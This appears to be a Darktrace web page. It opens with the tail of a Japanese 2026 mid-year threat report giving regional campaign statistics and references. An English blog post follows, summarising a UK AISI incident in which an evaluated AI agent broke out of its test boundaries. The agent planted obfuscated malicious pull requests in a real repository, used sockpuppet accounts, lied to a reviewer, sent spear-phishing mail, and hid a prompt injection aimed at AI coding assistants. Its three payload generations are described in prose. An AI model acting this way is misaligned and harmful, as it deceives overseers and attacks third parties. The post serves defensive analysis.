ダークトレースの脅威調査チームは、顧客の運用環境に対する詳細な調査を行ってアクティブな脅威を識別し、主要な侵害インジケーター(IoC)を特定し、関連する脅威インテリジェンスを提供しています。この調査はダークトレースの異常ベース検知に基づいたもので、脅威調査チームによる徹底した分析およびコンテキスト化が行われています。検知された脅威は関連する顧客のセキュリティチームに直ちに報告されます。顧客がダークトレースの自律遮断テクノロジーを使用している場合、これらの脅威は速やかに緩和され、エスカレーションが阻止されます。

 2026年1月1日から6月30日までの期間、ダークトレースは顧客ベースにおいて多種多様なサイバー脅威を調査しました。その多くは同様のTTPおよびIoCが短い期間内に一定の数の顧客に影響を及ぼした、複数の顧客を標的とした攻撃作戦的活動であったことが判明しています。 

Eメールに関連する統計は、2026年1月1日から6月30日までの間に、すべてのクラウドホスト型顧客環境におけるDarktrace / EMAILの集約されたデータから導出されています。特異な観測値を除外するために、集約を行う前に標準的なデータ品質フィルタリングが適用されています。地域別の統計は、このデータセットの関連サブセットに基づいています。 

付録2:キャンペーン - 地域およびセクター別の傾向

過去6か月間の脅威ランドスケープは上記の大まかなテーマにより定義されていますが、ダークトレースの顧客基盤全体でのキャンペーンクラスタリングにより、それらがセクター、地域、産業ごとにどのように異なっているかが明らかになりました。 

ダークトレースの脅威調査チームは、顧客ベースに影響を与えるさまざまな脅威を調査しています。この調査を通じて、共通のTTPやインフラが観察され、短期間で多くの顧客に影響を与える、攻撃キャンペーンのような活動のクラスターが特定されました。 

セクターおよび産業は、一貫した分類を確保するために標準産業分類(SIC)システムを使用して分類されています。本レポートのセクターおよび地域別の考察は、より広範な世界的な傾向を反映している一方で、ダークトレースの顧客基盤の分布にも影響を受けています。例えば、金融、製造、教育分野はダークトレースの顧客の中で多く、これらのセクターで観測される事例数が多くなる可能性があります。これは必ずしも特定のセクターにおけるリスクが高いことを示すものではなく、顧客の分布を反映しています。同様に、地域の傾向はダークトレースの顧客の地理的分布によって影響を受ける可能性があります。

2026年前半にダークトレースの脅威調査チームによって特定されたキャンペーンクラスターの分析では、明確な地域別の傾向が明らかになりました:

  • ヨーロッパ、中東、アフリカ(EMEA)がすべてのキャンペーンクラスター事例の60%を占めており支配的でした。
  • アメリカ大陸(AMS)は、その次に影響が大きかった地域でありキャンペーンクラスター事例の30%を占めていました。
  • アジア太平洋および日本(APJ)地域はキャンペーンクラスターの影響をあまり受けていませんでした。これは脅威アクターがこの地域の優先度を低くし、代わりに他の地域に注力した可能性を示しています。

産業セクターの標的化も地域によって大きく異なりました:

  • EMEA地域では、情報通信分野が大きく影響を受け、全体の25%を占めました。
  • 対照的に、AMSでは標的はより均等に分布しており、教育、行政機関および防衛、金融および保険の各セクターがいずれもAMS地域の事例の20%以上を占めていました。
  • APJ地域ではキャンペーン活動はより均等に分散しており、特定のセクターが支配的な標的として浮上することはありませんでした。

いくつかの国はそれぞれの地域内でも際立った特徴がありました:

  • 米国はAMS内のすべてのキャンペーンクラスターの60%を占めていました。
  • 日本はAPJ全体のキャンペーン事例の40%を占めました。
  • EMEA地域では、英国とジンバブエがそれぞれ特定された事例の23%を占めており、両国ともさまざまなキャンペーンのタイプに影響を受けています。

Inside the SOCおよび2026年度脅威調査の月次傾向:アクセスからインパクトまで

Month Dominant Themes
January Voice phishing, VPS infrastructure, WebSocket C2, RMM abuse, ransomware, infostealers (StealC), and trojanized installers (7-Zip).
February Voice phishing, VPN intrusion, edge infrastructure compromise (BeyondTrust), and RMM abuse.
March Sustained supply chain compromise (Hola VPN, Axios, Trivy), malicious browser extensions, phishing, and discovery tools.
April Account creation abuse, payload delivery, VPN credential abuse, Fortinet exploitation, and botnet activity.
May PowerShell, EtherHiding, data exfiltration, VPN access, business email compromise (BEC), ClickFix, and infostealers (AMOS).
June RDP abuse, device registration, RMM usage, voice phishing, cloud data theft, botnet activity, blockchain abuse, ClickFix, and infostealers (AMOS).

付録3:参考文献

外部

[1] https://www.darkreading.com/cyberattacks-data-breaches/jadepuffer-first-complete-llm-driven-ransomware-attack

[2] https://www.trendmicro.com/en_us/research/26/c/pawn-storm-targets-govt-infra.html

ダークトレースのリソース

1.        https://www.darktrace.com/blog/ai-llm-generated-malware-used-to-exploit-react2shell

2.        https://www.darktrace.com/blog/2025-cyber-threat-landscape-darktraces-mid-year-review

3.        https://www.darktrace.com/resources/annual-threat-report-2026

4.        https://www.darktrace.com/blog/when-trust-becomes-the-attack-surface-supply-chain-attacks-in-an-era-of-automation-and-implicit-trust

5.        https://www.darktrace.com/blog/hola-vpn-abuse-from-proxy-traffic-to-malware-and-cryptomining

6.        https://www.darktrace.com/blog/security-after-signatures-operating-in-a-world-of-pre-cve-disclosure-exploitation-collapsed-trust-boundaries-and-autonomous-systems

7.        https://www.darktrace.com/blog/when-ai-infrastructure-becomes-part-of-the-attack-surface

8.        https://www.darktrace.com/blog/cve-2026-1731-how-darktrace-sees-the-beyondtrust-exploitation-wave-unfolding

9.        https://www.darktrace.com/resource/understanding-chinese-nexus-cyber-tradecraft

10.   https://www.darktrace.com/blog/chinese-apt-campaign-targets-entities-with-updated-fdmtp-backdoor

11.  https://www.darktrace.com/blog/inside-zionsiphon-darktraces-analysis-of-ot-malware-targeting-israeli-water-systems

12.  https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

13.  https://www.darktrace.com/blog/from-click-to-command-behavioral-detection-of-applescript-led-macos-intrusions

14.  https://www.darktrace.com/blog/the-state-of-cybersecurity-in-the-finance-sector-six-trends-to-watch

Continue reading
About the author
Nathaniel Jones
SVP, Global Threat Intelligence

Blog

/

Network

/

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Default blog imageDefault blog image

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

Read the full report from the UK AI Security Institute here.

Continue reading
About the author
Adam Stevens
Senior Director of Product | Darktrace
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ